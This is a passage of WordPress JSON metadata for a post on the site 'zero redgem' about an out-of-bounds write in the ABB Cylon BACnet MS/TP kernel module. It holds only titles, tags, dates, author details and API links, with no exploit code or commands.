SendFrame()","datePublished":"2025-05-23T10:36:45+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=5850"},"wordCount":1086,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-0.0","exploit","news","NONE","Security","tapic","Vulnerability","zeroscience"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=5850#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=5850","url":"https:\/\/zero.redgem.net\/?p=5850","name":"ABB Cylon BACnet MS\/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame() - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-05-23T10:36:45+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=5850#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=5850"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=5850#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"ABB Cylon BACnet MS\/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame()"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/5850","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5850"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/5850\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5850"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5850"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5850"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}